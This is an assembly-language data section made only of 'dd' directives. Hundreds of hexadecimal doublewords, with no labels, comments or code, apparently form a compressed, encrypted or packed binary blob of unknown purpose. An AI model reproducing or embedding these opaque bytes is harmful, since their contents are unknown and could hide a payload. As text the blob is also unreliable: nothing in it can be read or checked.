dd 99EC6000h, 2802CC6h, 346407BBh, 20B63DCCh, 0A7A3AD23h
dd 0DB09030Bh, 57E80ACAh, 0E311EC00h, 0C654DCh, 55A1AD73h
dd 0DDF49017h, 57E11C0Eh, 0FB81C03Fh, 85E08Eh, 0DE9C8471h
dd 0E9A5B3B2h, 0F6E8B478h, 1393C300h, 0B72922A9h, 1D0F00E7h
dd 3B8C9902h, 0BA00C298h, 20898540h, 0EADA650h, 978136D0h
dd 0D9D32DA0h, 8A01E31Eh, 0DE35FB94h, 46FC72D5h, 2065BD83h
dd 2E882750h, 1C3B792Fh, 1CE967ABh, 0E85D3B26h, 0CD95F740h
dd 15CA85Dh, 0F604FA6Fh, 3B3AE48Dh, 0E05F0CA2h, 83888618h
dd 0D3F02518h, 4200C04Ch, 5703634Eh, 4FA4A7EDh, 76D888ECh
dd 0D2B86F1Fh, 0C4C6D0C0h, 430B5C5h, 1415775Dh, 8485BF6Eh
dd 0A8E0F4B6h, 520004CDh, 42661ED5h, 12CA6319h, 12B25E6Eh
dd 986EFE88h, 0CA386800h
dd 83A3B834h, 27B9C41Ah, 0AC37575Eh, 0FBA2AB00h, 4AA042h
dd 58D0ECAAh, 0F37C9B9Ah, 0E8C9EB4Fh, 7DCFAFDh, 8F40088h
dd 188D4030h, 0E6FE9065h, 54E4B7h, 8EFA7D38h, 0D284720Dh
dd 0A0410F00h, 780525E8h, 85E24EA2h, 0F41014BDh, 7EC8A15Bh
dd 230DA86Bh, 3E404FA6h, 0C680D09Bh, 0D662D0C1h, 0DE83AF02h
dd 61A30E80h, 903FF557h, 0E726AB08h, 1F66CA80h, 2D97BC0Fh
dd 0BF70BCD3h, 315D0476h, 0F8F214BCh, 18809E34h, 3B05F675h
dd 0A15825B7h, 2D00CC44h, 57C6C8BEh, 2579108Fh, 80E87B3Fh
dd 0DB9D136Eh, 6699D8C4h, 8794170Bh, 0E1F906CCh, 0B7E30791h
dd 30CD442Eh, 0EC20DF28h, 9C81001h, 5988F058h, 9A1A9E8h
dd 8F451954h, 4900F4C4h, 6B9D7BEFh, 7AE8AEh, 9E1041E4h
dd 813CE2D5h, 8F301200h, 6CD97B0Dh, 0F648D234h, 3230E054h
dd 89AE2E08h, 16C204B0h, 8004B861h, 9CDA496Fh, 23DF0F92h
dd 0EB923666h, 218A0C21h, 4326C478h, 0DEFA4024h, 0B24F4086h
dd 97EC00E8h, 0A2CA128Ch, 41B0E5AAh, 21B48FF4h, 5CB62E18h
dd 7C2FBAE0h, 0ECF2CF4Ah, 7BC04300h, 392D7A2Eh, 0ACEA6D1Dh
dd 97CC6209h, 809F9124h, 29D7BF8Ch, 9D05073Dh, 0B12C0A83h
dd 0A4F194A3h, 1009B029h, 0D0855DB9h, 0CD50AC0Eh, 0E2D760B0h
dd 0C6E5DC4h, 0C0B44D9Fh, 0F5106548h, 45DCD600h, 528ADD13h
dd 0A5A8A8DEh, 182F0B94h, 0A45D5D58h, 85BA8268h, 0A220A8B0h
dd 0C72822CAh, 48284655h, 4218837Fh, 63F1C923h, 0CA993301h
dd 26B556C6h, 0C41C903Bh, 29468D76h, 88345111h, 713A80BDh
dd 0E9BCCA58h, 62135DF8h, 64E8DE29h, 135CE3C4h, 46811CACh
dd 127FD76h, 0CC7F672Ch, 0B2728A40h, 807AC141h, 0C38AC0Ch
dd 1404B300h, 8F766167h, 0F632FC8h, 58CB28E8h, 69004874h
dd 0BCDFDAC6h, 37E6A5h, 772CC290h, 8BC4B0DEh, 4D227E77h
dd 2D1AFA20h, 9C7A8A21h, 4C7C0F20h, 8727E2ACh, 83A0471h
dd 6E3C557Eh, 5DF74B9Eh, 2B6420D6h, 0B3182840h, 11C08E4Dh
dd 22EFB95Ch, 66C415DCh, 432FB451h, 0A619B8E8h, 0D3DD611Dh
dd 6B4F7C0h, 1D4C0362h, 0CEDAE84Eh, 7EA29E57h, 0F5296BDFh
dd 12DD5091h, 6A0908Ah, 773F3C2Fh, 1948A613h, 0E6A81947h
dd 6198465Fh, 43248989h, 0B4072A32h, 97F56759h, 2AAE24E0h
dd 5A848AF2h, 38E8989Eh, 689EA84Eh, 0E0697480h, 7B3F59DEh
dd 559062A0h, 9410FDCCh, 5C98325Ch, 0F6A3CA27h, 3402F494h
dd 600ED9BDh, 54C457BFh, 5700B5E0h, 840E7BEh, 9AC1B2h
dd 8C3D356Dh, 4EA7AB34h, 0C0E378BCh, 0F88CCBF1h, 149A6CCh
dd 658D2DA7h, 2E21875Ah, 0E786F491h, 0BED00104h, 0F21EFAAFh
dd 58B8A075h, 0B08F0C4Eh, 8A8C2D22h, 0EFD5B842h, 432D41CCh
dd 0AC207A8Dh, 39D7E4B5h, 708EFECFh, 0F3C0A919h, 9024A6C1h
dd 474B462Dh, 102905CCh, 0FB6B849Ah, 338894CFh, 3E1380C0h
dd 9854980Ch, 0A9012590h, 0A4131866h, 42FA6ABAh, 0CE396674h
dd 0FA60986Fh, 96285C4h, 0E71B5E27h, 25341DF7h, 0CA50E87Bh
dd 667601B1h, 7BFA98F3h, 0A46E3A1Ah, 13A42901h, 3BA5FE50h
dd 3B0058F2h, 38AE7FEBh, 200BF153h, 89E7C83Ah, 46D4F9C8h
dd 0DB955199h, 0EF417050h, 3CD86C01h, 7A3B50E1h, 58F0C83Ah
dd 0B5085C05h, 0A4A82937h, 1A021880h, 9425A4ADh, 0FB7CF045h
dd 0BC68242Fh, 89633444h, 92B033AFh, 0EF0CB016h, 0A9A860AAh
dd 0B4097CDFh, 0D6A54589h, 4BC2E7ACh, 7264D8E7h, 7AAC8261h
dd 0BAACC8h, 1096E545h, 7B33CD6Dh, 1FBC8909h, 2698D6F1h
dd 8B8D6204h, 71B21940h, 12CC5097h, 841576C6h, 0D0D1AF84h
dd 0AB0526F3h, 0F0EC20CCh, 40951E38h, 1861C056h, 0CEE0D249h
dd 5A775402h, 5FD189C0h, 145CC0BAh, 0C0900D4h, 1398AD7Bh
dd 18B5B453h, 3B5CC13Ch, 0B3CEF518h, 0A7040040h, 7C992F21h
dd 0B1D500DFh, 79CA1FE9h, 2650CB44h, 0CC1CC014h, 438AFA5h
dd 89DAF14Dh, 5D5800AEh, 0D763B82Bh, 8B3C01B5h, 0D03AB465h
dd 1F676F50h, 93045BDh, 2F80D423h, 488C37B1h, 0F1DDC212h
dd 97A948Ch, 0A020DBC1h, 6F00948Eh, 6C7051BFh, 0D0AB9804h
dd 0ECAC9CAFh, 0F4450C4Ch, 88A46430h, 21F9782Dh, 2D002C10h
dd 74C46BDFh, 0FEBE2598h, 0DCBCD4h, 4C6F7264h, 8D74CFD2h
dd 0F186AA2Dh, 0BF224494h, 60ADF425h, 0EE5A48B8h, 7C4C2CB8h
dd 0BC3C510h, 0DA5EBC42h, 85A920B0h, 78AC684Fh, 0FDDF2884h
dd 2D331D94h, 1013CA7Dh, 0CC3421AEh, 0D553D8D7h, 6D8A600h
dd 0EAC38F66h, 874827F8h, 5B9D805Ah, 3134D0C8h, 2D09AB73h
dd 40F1CA91h, 0BD67572Ch, 61956844h, 0BA703ED4h, 0C1515E6Eh
dd 0F082701Ch, 95909A50h, 2022DD16h, 0FFB85CA9h, 0DE126527h
dd 1817E964h, 0BC807711h, 10F39A34h, 0E5765C16h, 0E0225440h
dd 1250D43h, 0A5123415h, 80E97EAAh, 0A54F168h, 121F31D6h
dd 98FF7EAh, 740978B2h, 380B18D0h, 9DF1F8D2h, 80FD118Ch
dd 2F7CC38Ah, 0B54A76F2h, 0FAAC0438h, 324AE4Dh, 7C4FD10Bh
dd 557800D9h, 0E5C5F611h, 0DF5AFE4Ah, 0EFE254F6h, 0F079D9C0h
dd 50A4A82Fh, 0C9654F00h, 967438F8h, 0E9EFBD01h, 2DD0ACC3h
dd 0F91B1FBCh, 0E732C006h, 0D304494h, 23CF2200h, 0C88E5CEAh
dd 28D94C0Ah, 0AE5B2D04h, 4FAC8AE5h, 9723082Fh, 58ABB300h
dd 0BDCC3159h, 4960104Dh, 0A14B0A2Bh, 2C3F18E4h, 5B172CD4h
dd 5C42EF46h, 9235956h, 0C044C8F1h, 0B4480149h, 0DE3F5EDBh
dd 2D8B026Fh, 1CD4653h, 0AD8C8AB8h, 40085E61h, 3A397C12h
dd 4C2FC902h, 7D6B025Ch, 5CAC47h, 0DCB68618h, 0A6C0338Fh
dd 0E0B03902h, 0DE96CA26h, 273209FCh, 1E9184FBh, 22708A4Fh
dd 0DC909C24h, 26C66238h, 0CF00E2CDh, 53252015h, 1D17267Fh
dd 9C7C259Bh, 7446D4h, 2DABC7E4h, 5EF58EF9h, 238A3A1h
dd 0AD79A054h, 0A61C40E3h, 0A8E5B791h, 915895A7h, 3BFF8090h
dd 0BDAB5108h, 54021844h, 28DA2344h, 0A4A377DCh, 0C3C2DF3Dh
dd 5504CCC4h, 0F9FC956h, 0B99C95AFh, 2C6B878h, 7C3D2AFEh
dd 0F076CC04h, 0AFF0D32Dh, 7A5084D3h, 97ACB831h, 0EEB7D4E6h
dd 71EC91B0h, 24F81871h, 9B866E9h, 0A4D4C072h, 30377FEBh
dd 70B6AC00h, 76BF45A3h, 22900BDFh, 9CF103A0h, 0B01873F1h
dd 9048C6B5h, 0B7A498E4h, 6F553CE2h, 4F904060h, 0B909B460h
dd 2EE1DA5h, 9C39E44h, 10BD94F0h, 96C2834h, 650A0F17h
dd 5E49E4D4h, 9BB263D8h, 10A805B0h, 0CD171C09h, 1C7CF922h
dd 0CBD1496Eh, 5F082B7Fh, 0D47C700Bh, 298416DCh, 0EE0A0205h
dd 0D44531DBh, 7671B021h, 0C3000B18h, 18D57991h, 97FB7169h
dd 0C6756462h, 1C739D94h, 0EAA24870h, 0FF230B78h, 0E482338Ah
dd 0EB022C65h, 6F9040F9h, 0B899F886h, 2F84BA14h, 0EC5832BEh
dd 406495h, 1EF391D7h, 37FD6E3Fh, 41556D00h, 666AC20Ah
dd 7D1109E6h, 9008E493h, 0BEF98998h, 0DF043BF5h, 12F5C9h
dd 0C074CD7Fh, 0ABA2BA2Bh, 0A0D0A75Bh, 0B1A06948h, 0F7528B84h
dd 0D57168D4h, 0C810EB14h, 0F6580080h, 97539518h, 2F7D5B98h
dd 48C7DD4h, 0E50D8917h, 0C020BB7Eh, 0F1315A8h, 7F8ED2E9h
dd 38F3B0A1h, 7A483579h, 2500B47Bh, 0B6A235C4h, 801E6FB3h
dd 8D93B0DEh, 3DF15005h, 10C2B4B9h, 445DBB4Ch, 0F504A130h
dd 2BA4F12Ah, 0F59E18F2h, 0B954A9C1h, 3E1CB13Fh, 2BBFB074h
dd 1312380h, 0F4ED9FCDh, 2912F843h, 0AD5C40B7h, 0D9B8B1BAh
dd 48DC1973h, 0E4E6B511h
dd 0C9532017h, 69B054A8h, 0F32F0F5Ch, 0D0A8539Fh, 71000F63h
dd 78F8A242h, 5B12AB2Dh, 223CB2C8h, 408E0132h, 0ECCB1B90h
dd 7D5BF8C9h, 3E888000h, 0C55625Eh, 49D612D8h, 27E8B1ABh
dd 0CAE0B708h, 0A0E8F2h, 0B140D980h, 0C1592A38h, 93F79D05h
dd 40B2638Fh, 0D869891Ch, 7AA32C61h, 0EEA80A00h, 67334AC2h
dd 7D8B2D79h, 7666F480h, 0E6953011h, 0C92BF164h, 78E62E6Ch
dd 0FC4AD0E1h, 0CA04C2E2h, 9644976Eh, 1EEC81EEh, 41BF00CBh
dd 0C1292151h, 93116A03h, 0F9984E78h, 0F4825AA8h, 1889DF5Dh
dd 0AF6A1004h, 90A904D5h, 0DDF2AAE4h, 300BA97h, 200C3AF0h
dd 0EEA64A4Ah, 0A5D7D730h, 699D3929h, 4A57F9DEh, 0BC4145FAh
dd 0C1C785h, 2E724824h, 9292CA3Dh, 0C9AB04F4h, 86A67FAEh
dd 1AC8EFE5h, 3E050632h, 53719D09h, 5E958D71h, 0D1FF0BC3h
dd 91DD97DFh, 2DEC8016h, 0C605047h, 26A58589h, 0BE00665Ch
dd 5F610FA2h, 60F99D8Bh, 0BD83182Fh, 0CD71C19h, 47B40BBBh
dd 11E49FDFh, 688E1Ah, 25843EDAh, 26A252Ch, 78452C7Fh
dd 1334105h, 2A1151A5h, 2B81E2F9h, 7236DBDh, 84B4C3B0h
dd 0E9300955h, 0E5550E24h, 0A31D02F8h, 0EDF70939h, 502FC00Ch
dd 0D37EFBB8h, 0BB667D00h, 858DF34Bh, 0C593502Bh, 81BD1929h
dd 2B909230h, 721C46A9h, 0E1DD8011h, 40F79554h, 539BFB07h
dd 23576837h, 52504C8Fh, 90E3300Bh, 64ED8D0Ah, 6235FF28h
dd 843DBFF6h, 5F89A532h, 6D5FC689h, 1C38C0B1h, 522B531h
dd 0C285731Eh, 9DBD8BBBh, 0EB704BFDh, 16ADB989h, 11B52987h
dd 0CD5FE92Bh, 0CF2AC044h, 0F7E4EAFCh, 0ED6C5362h, 0DCB40D2Fh
dd 0FBA40F7Dh, 772EB920h, 0AA45D0E9h, 9616CCC0h, 0A1017FBEh
dd 2101497Dh, 89CC359Dh, 1E100E56h, 0BE18B0B7h, 0E68002E1h
dd 0E4F90070h, 0D7DB8171h, 264AC80Ah, 0CD260DABh, 0F7B82A5Bh
dd 87B9AE80h, 8C00F701h, 30CA1439h, 90E17A7Eh, 0C21DE251h
dd 0C8B60FBBh, 25991560h, 0AD2AF881h, 0B7047F1Eh, 60C18BD9h
dd 572AA4AAh, 0C2CDD9BFh, 82A9CDB5h, 0BF19C05Dh, 0B96D243Fh
dd 0E2F7013Bh, 0C3899D01h, 0C82B2400h, 0DF80D18Bh, 0AB7695BCh
dd 815B5680h, 5A5E7C7h, 858B3E78h, 0F9B5401Dh, 8907C083h
dd 24F58D12h, 4A78EF5Eh, 9DE830FBh, 3B800A65h, 0E92A1D0h
dd 0D5882312h, 30E98AABh, 0EBDA9774h, 0B2313533h, 0FDD24A4Dh
dd 18843548h, 8BA5CA8Bh, 4308FD15h, 417C3151h, 4461B805h
dd 77B5128Dh, 6CE21818h, 5E956AFAh, 7A2F408Dh, 0BC00F338h
dd 8AF10547h, 1276BAF4h, 0BECF297Fh, 0C3E16598h, 7DEB961h
dd 0A6DFF332h, 0DEFB55FCh, 0F20B9858h, 17DFFE66h, 0EFFC3B95h
dd 9C002E6Eh, 59D35ECFh, 6B141A95h, 10FA756Dh, 5480DB5h
dd 0B82D5B0Ah, 800F418Dh, 250DA405h, 5BD88B02h, 0FD108BBAh
dd 9202B3B7h, 10038D0Fh, 0AD0CDBB7h, 4CD1C233h, 2050BFD0h
dd 0BFF4753Fh, 0B1B9DFBFh, 0F11E9DB8h, 1BD2BD09h, 0F3F28CEAh
dd 0BE3E0F60h, 1AA508h, 0BA388B5Bh, 880DB872h, 75885591h
dd 0F3513B0Bh, 0AD2A5725h, 4CE4ACBAh, 59104509h, 34BF0717h
dd 3E98DECh, 8287D6Dh, 2779BD69h, 0C25F501Fh, 0C10318C6h
dd 0ACD2FF08h, 0BF581992h, 5870ACF3h, 773E161Fh, 27D0857h
dd 365B508Eh, 0A595DB02h, 0D595710h, 484700BBh, 0D4A6D23Fh
dd 811CB861h, 0E264358Ah, 1124149h, 486A84E9h, 0FB2CBFEFh
dd 46D42CB8h, 4D832E14h, 1F4C020Bh, 801C1111h, 631970CAh
dd 0E1780337h, 9E8B3E9h, 0F9362300h, 0CB608250h, 424A2474h
dd 0E1DB01B7h, 0D2FF5B65h, 0CE9D3961h, 2255BD21h, 4CA7751h
dd 6D0BC204h, 20113B9h, 37F72BD2h, 0B5220E4Eh, 0F594F840h
dd 0FC528C4Ch, 0B2032631h, 6D636B1Ah, 6F87E0A2h, 900701B6h
dd 51BD3102h, 8415C6Dh, 60020BC1h, 355A55h, 918B5298h
dd 9E6B7DBBh, 302A4E1Dh, 2BB76500h, 99508963h, 0CA680A3h
dd 1252496Ch, 721CA500h, 0A00E6D7Ah, 5BD4254Eh, 913C9D7Dh
dd 3EBA8018h, 98EE40E4h, 580E0462h, 0AE04E180h, 7AB038F6h
dd 0E0492590h, 8F280502h, 0E11EC90Ah, 0A6AF29B4h, 0E7B0B08Fh
dd 0C67B02BBh, 0C5BD03BFh, 0A26179EAh, 0D60DAF61h, 0C34540E8h
dd 0AF042D24h, 7D853374h, 3D84D3D4h, 59D1200h, 6240BD5Fh
dd 822FA01h, 0BB50E240h, 0D8FD211Eh, 817D0065h, 2413F1E7h
dd 20151E94h, 61EA905Dh, 9D2BD0DFh, 68F35339h, 67CCAD90h
dd 8103DAFEh, 0AEF62434h, 0E6AACCD3h, 0B425B076h, 5F96B054h
dd 5F20F8DDh, 3B830BDh, 216B7E00h, 0EBDFA567h, 8B2F00C6h
dd 6F8589F9h, 95C38B7h, 0EE360150h, 26E90B92h, 0BE217035h
dd 0B9480EC5h, 0B2FC767h, 0DA27D99Dh, 2D1209C7h, 8B7699CCh
dd 2A316B6Ah, 0F17D1DDEh, 0D57AB112h, 0F3B37F24h, 0F1301BB2h
dd 570800F0h, 488D10FBh, 0CE50B8BFh, 64A89AFh, 0AF6BBFh
dd 130B4379h, 91E66E0Eh, 308680DAh, 2FA7A37Ah, 210CF102h
dd 0C28B6042h, 95BA011Bh, 62221179h, 1FD76F93h, 0E34002D7h
dd 1FCFD090h, 0C070BBh, 46894D6Ch, 50FA8B04h, 1D746048h
dd 0F46FC585h, 186740E6h, 0D200258Ah, 0B3D71224h, 1EA579D4h
dd 81692AF1h, 605CFB23h, 89028F61h, 0DAEA5234h, 6598C7B6h
dd 4B3F77D0h, 3C242EA4h, 4C0C1192h, 0A0C4C097h, 9D9B2E4h
dd 0B5FF8D40h, 0AA5B3812h, 4A8EBA70h, 684F0025h, 52DCD622h
dd 82586079h, 0F78B80E0h, 2424BB66h, 82DB61D0h, 52C3D5DDh
dd 6914DC0h, 96238D81h, 55103858h, 5090092Eh, 81E45552h
dd 80F47495h, 0AC1AFCDFh, 0F265F06h, 0DA041C31h, 31E0585Ah
dd 90A02562h, 9C4F357Dh, 8060C0E9h, 1F1DB531h, 55318982h
dd 97002A6Eh, 623E902Dh, 8C019Ah, 716FF863h, 0FED7F782h
dd 0FF4B3099h, 9300A235h, 3326198Dh, 8BFF09A7h, 292799Dh
dd 2229041h, 3EF59861h, 185901CCh, 0C7EEBABCh, 69CA6385h
dd 0FE6D7720h, 8CD936C0h, 0B335165Bh, 0DAF61017h, 753A4996h
dd 4127CF55h, 7FCFD71Eh, 204A9AE3h, 0E5E0B3F2h, 0A1C94A02h
dd 80E81C27h, 1225CA0Dh, 0C5C2016Eh, 9D29F358h, 0B1E68B5h
dd 0FF46E95Bh, 0F84F6BDh, 558160DBh, 81040521h, 286DDAh
dd 38305061h, 4439110Ch, 0E8C10187h, 430EAD10h, 3F14C82h
dd 0D1F2D58h, 3636EBE7h, 396404DEh, 1B3316EEh, 40282950h
dd 0CD581821h, 9570113h, 0C0C1421Bh, 58A7DB55h, 5000ED45h
dd 1672C096h, 0B82D65ECh, 0B2CB1240h, 0BDAEF2Ah, 0F15BD8C0h
dd 15941C80h, 29AE85E2h, 546D0004h, 49BB132h, 0E8DAB82Ah
dd 0AC7C8C14h, 1A80CF04h, 82C27077h, 715D1A6Fh, 3BE4F82Fh
dd 37CB9100h, 0D0A59EF0h, 0F792A0C1h, 0FE53485Eh, 0AECB1134h
dd 84B00BF6h, 2C39CA88h, 3E920007h, 8509E40Ch, 251F9E3Dh
dd 8F8F98F5h, 50752EAFh, 0E63110Eh, 180106C7h, 0C3605304h
dd 0ACCCE79Eh, 2564B5F2h, 965F6117h, 9553F530h, 3482031Ch
dd 30B35048h, 67628BFAh, 39ED991Ah, 0C1328AC0h, 0A30E18AEh
dd 89955566h, 6535022Eh, 6144676h, 1880F92h, 23F80915h
dd 93C2519Dh, 0B618632h, 85D1C39Ch, 0BBC7199h, 0C414C863h
dd 6E4AFC4h, 500D00EBh, 84CC9BF6h, 4003C83h, 23CE08C1h
dd 18FABE5h, 77DF8160h, 6041C01Bh, 0C46B86F7h, 0FE19183Fh
dd 0D58403EEh, 0BD181080h, 39CD78E0h, 0A3BA6B01h, 0AB210767h
dd 19ACFB39h, 0C0E8028Ch, 0F6125D94h, 83F9C180h, 0AD9E04C2h
dd 0EB00136Ah, 5089EADBh
dd 0EFF6AD20h, 0BB3A49A0h, 0A298A4CCh, 0C221B120h, 7F83D75Eh
dd 0CC07FCC0h, 0A26F384Eh, 71F25400h, 0A09748AFh, 0AF853128h
dd 0FFA6EF96h, 865B05DEh, 0A20BAA77h, 870F139Eh, 0ED2A19CDh
dd 14CAC5Ch, 9D03F25Eh, 26F5B72Fh, 0A9BC64A8h, 74815EA0h
dd 90F417F3h, 0F50BCC65h, 7720964Eh, 1D297ED1h, 80FCAC18h
dd 0A7DA7B2Fh, 0D700D37Ch, 0D2CA6EAAh, 55E5360h, 0F505B61h
dd 61CB8Bh, 8C34A6B2h, 0F17A4h, 74CCEB5Dh, 1B50A845h, 53966029h
dd 0ED587C23h, 0EC8C02DCh, 0C776B29Bh, 5B2C6FF1h, 43918300h
dd 162BEA3h, 4F85521Ah, 0EC4AD773h, 81A122D2h, 27E82155h
dd 0B8A8A03Bh, 43FA10E3h, 2DDE2C02h, 3510791Ch, 8933278Ch
dd 84E9852Fh, 40A096FFh, 12C9431h, 704F2DBFh, 0DED1F620h
dd 0D2DB6400h, 7CBF04Ah, 11DE3FE4h, 0F35772E6h, 16119EB7h
dd 333A9182h, 1C358282h, 0F8D05473h, 6CC800F5h, 0D0695EE5h
dd 4FAC2EC5h, 7E0DD495h, 7705FD7Eh, 8E0F3B68h, 0F5BE8924h
dd 0A4493064h, 0C3A8DE03h, 10EA17D9h, 4A2CE5CAh, 77F2EC20h
dd 0AB8000F6h, 7E0C58D8h, 0B80A403Eh, 0D7E1ACCBh, 4026A038h
dd 39D25802h, 0C1CD9AEAh, 8B9FFDBDh, 0E681C4D2h, 0DFF58BFh
dd 469AD35h, 0DEC6F814h, 3DDFC024h, 5A89F00Eh, 0C75D418Dh
dd 7326585h, 60C74F09h, 2EB20379h, 0B600A2Ch, 0FD65211Dh
dd 0E30BB998h, 1299DF01h, 61690D7Ah, 71F288F8h, 0FC603CFFh
dd 84C18B1Ch, 0BF12359Dh, 6B937AB2h, 8942028Dh, 5A2C75BDh
dd 1D612051h, 0DE20504Bh, 1D45E60Ch, 5FBF4232h, 4111708h
dd 0AB240486h, 9EB0BFA6h, 0BB012611h, 7A4EEEE8h, 0AD2E6A51h
dd 219B8FFh, 3B1720AFh, 1342C09Ah, 0F53B0FFAh, 1052F229h
dd 11EE6291h, 7B0F0708h, 284AA193h, 0AB03EC94h, 0B439B35Dh
dd 25CAA6BBh, 0C0752219h, 503A4905h, 4B164A91h, 22F440FBh
dd 0DA3EB89Dh, 6F128C00h, 770545CBh, 0DF38C563h, 3A1425Fh
dd 725741BDh, 79ABB373h, 35DF4731h, 0BE241208h, 0D4F0FFD7h
dd 4D5E389h, 7E557D15h, 0D304BDC5h, 538049DAh, 11AC9B5h
dd 2F4BBDE8h, 6E2E00DDh, 34E002Fh, 4CB9E559h, 0FFA71290h
dd 0DD9ABFD1h, 8350E0C0h, 0A925E6E8h, 1C13E5A1h, 0A73D2F7Eh
dd 8E32D900h, 117C12Dh, 8B4AA1A2h, 28026AD8h, 98EC12DAh
dd 80146608h, 0C106DBF8h, 7695433Ah, 0B50C0E1h, 0A10B3CCEh
dd 668C0F1Ch, 0B5F949AEh, 848BDA93h, 55BD47ACh, 42018884h
dd 5E8CE9FCh, 0B367704Ah, 327C9584h, 91FE027Eh, 1195BD2Bh
dd 786004EFh, 24AB6807h, 13DD1680h, 0E3CB525Dh, 0C2205E6Eh
dd 0FEC6AD33h, 0D51B0A43h, 81A0F01Dh, 0B750905Fh, 0A2B7D25Dh
dd 7B096D89h, 1FBB847Ah, 9D237019h, 0DD1C4B05h, 8EFD2B5Dh
dd 0AD1F13ACh, 9FC1BDA6h, 0B23F73Eh, 0A949C9DDh, 4BB50C30h
dd 0C07BDEF5h, 61BBE5F3h, 5C1B4878h, 34E6D309h, 0E08727Bh
dd 2059101h, 7D683938h, 977A5F8Ah, 0AF936C00h, 54B2A13Ah
dd 253802ACh, 119882D8h, 0D2821756h, 0D8C19D31h, 0B05F2523h
dd 70E6DF68h, 0F504BB7Dh, 71E42B76h, 8462D185h, 91885ED8h
dd 2ADA48C6h, 0B725B111h, 0F976E17Ah, 8570322Fh, 9D030681h
dd 4C0E6C49h, 0F38101A4h, 7E14CA2Dh, 0F67052Fh, 0B8F0348Dh
dd 0F1850868h, 0FAAC4C26h, 4DB52915h, 0D18B198Fh, 9CE7926h
dd 0B02CA371h, 0C7D01825h, 59875C95h, 0D568D925h, 1B41A19Dh
dd 487C5E2Eh, 0FA6C2DD5h, 73A497FBh, 19865417h, 3E730469h
dd 0D5285016h, 0F1342E26h, 0A4AE0D27h, 5A4BB36Bh, 882178C8h
dd 777CD780h, 0FE14A550h, 82CB813Ah, 89747123h, 25B8B95h
dd 5E2A5D8Fh, 22205081h, 0E0276D82h, 0B77ADC93h, 13E1AFA0h
dd 0FE226A91h, 80921A97h, 0B9B5EBBEh, 0F92EF3C0h, 0F192BC72h
dd 625DCC40h, 0C2704B94h, 0C7C133B1h, 82010410h, 267DBF53h
dd 62DB5DF6h, 0DB006659h, 21B86CB4h, 701DE920h, 533D9FB8h
dd 0FF191480h, 18D5FD63h, 6817B30Fh, 7B4BF0EFh, 1C88B0DAh
dd 0A2F840C0h, 6AEE01ACh, 8B8C46B7h, 0B13D2FD9h, 2480AD28h
dd 0DAA768F3h, 86072B7Eh, 88F5B82Ah, 953D820h, 3528E3BDh
dd 93E45B25h, 0D62D5E97h, 169FC97h, 393F35FBh, 0CF152060h
dd 0D2D083A0h, 9B619027h, 0CB1809BFh, 9779FE0Eh, 0A1B58982h
dd 55271F12h, 0D88B2E1Fh, 1D44EEh, 0A8EB59D1h, 0A26CEF46h
dd 2A165801h, 62B17468h, 4B323D70h, 3489CA08h, 0F6BB3E96h
dd 0F456E0B4h, 0BFD61DA6h, 6E074798h, 0CF7709B8h, 0D56A44CFh
dd 2E0BB161h, 0CACCB034h, 70D0E2B3h, 669B002Fh, 9D333E64h
dd 1B2238Dh, 0C2E4E6A0h, 1CE1FF26h, 0A69F00DEh, 99BB945Fh
dd 2B040CDBh, 2E5D8589h, 0AEE2B5BCh, 0C3EFCD2Bh, 6AC80AC4h
dd 4B4CEF3Bh, 0C1D3041Fh, 0D7BC5CDEh, 662094A2h, 97912FBFh
dd 4D5EB794h, 17238F3Eh, 6A7D402h, 7F451D5h, 2034A1E4h
dd 3C924AA4h, 60D80525h, 97F34578h, 5B539089h, 0B75670h
dd 0A9D7A8E2h, 2BB57BE0h, 296D9D13h, 82111C88h, 0FD259C5Ch
dd 0CCBBA5B5h, 2B0D10FFh, 379A914Bh, 9CB00401h, 0D82C4B61h
dd 0CD07BB74h, 99FE63EAh, 0A52473F9h, 80811FFDh, 0FB5EE79Dh
dd 9A976E09h, 0E5F35F9Ch, 35556F58h, 25CA90A8h, 3E0AA226h
dd 978008Ch, 0C59BF55Dh, 0CB9D0087h, 0FA201C93h, 2B25CDE2h
dd 8BC9E052h, 0F9902DDAh, 220D8B60h, 2DF01083h, 0A461342Fh
dd 843133C3h, 0AC936800h, 502F3FDAh, 86831052h, 0CF710F12h
dd 29402B5Dh, 3A6A9359h, 60D05E05h, 0A3A55509h, 6C03012Bh
dd 2D3FC5AFh, 926B807h, 0D9BF0F91h, 12B0B059h, 97D88AFAh
dd 8C54BE9Ah, 0BD9CA540h, 234900CFh, 71FFBF4Eh, 0E925397Bh
dd 7B59C23Fh, 6AB870ADh, 1A2DD10Fh, 3C6EC353h, 0D8C4C41h
dd 3F1BD09h, 34A3F17Bh, 1F1C8458h, 0C26B7323h, 0E2912059h
dd 870505E0h, 4676A327h, 10929716h, 7BDE0F7Ch, 0E3C0D20Eh
dd 14D44BA8h, 0B099F6AFh, 284618Fh, 0E8DE6406h, 9D19ABBh
dd 0DA2C5D27h, 0B5930646h, 9791A78h, 9965E033h, 2FF5DC31h
dd 98D8D917h, 14E0FA4h, 8A8B9620h, 8CB2A713h, 0E848B97Ah
dd 4F9831Eh, 78BE982Ch, 505F04CEh, 0AF96DE8Ah, 0C6B0EDF6h
dd 0A501D607h, 82013818h, 346E3DE7h, 0DDBC0BF9h, 33BB4468h
dd 0D9CDE74Bh, 0CE33E60h, 4E83B18h, 331FF35h, 1985C01Fh
dd 0CD24815h, 0A803CF80h, 27EAB8Eh, 0BF42E643h, 0CD408FBAh
dd 72BC1BB3h, 561AB717h, 3FE4D1B7h, 31ACBB00h, 0C9DC1879h
dd 0A88B3332h, 0D544DFh, 0DE256BBBh, 9501587Dh, 0EE5EC2E9h
dd 3CD5FE9h, 0D666AD60h, 0CA74EDF6h, 4FACB8F8h, 6F631361h
dd 2E2A00BCh, 8B9C2BB2h, 1B9AA1EBh, 4AF2E812h, 0A0821000h
dd 5D9F3672h, 4AB901BBh, 4668FC15h, 21D241AFh, 6C5B020Dh
dd 73749D44h, 3B888B80h, 0BE41B5h, 0CDC6D70h, 66EC6922h
dd 748A772Ch, 0C1E8D08h, 0DFDE615Fh, 4725B0B0h, 0A5DDE72Bh
dd 800D9FDFh, 0F79AF013h, 0AD248DDFh, 6F021F70h, 5C439548h
dd 0AD2A51B2h, 9D56303Dh, 91D39669h, 8E0F1234h, 17A39C57h
dd 0F01AB800h, 7479257Bh, 0CD6C1001h, 5FDB0F05h, 0A4993B2Fh
dd 0F0CDB3BAh, 5E2B4843h, 31EB8112h, 73E20411h, 0C1493D07h
dd 377BD99Bh, 0CC4C70h, 0C17817E7h, 0DF3750B4h, 0A7CF8103h
dd 10729F9Bh, 762DE976h, 0B2CAD84Bh, 5E90B022h, 0A19AFC85h
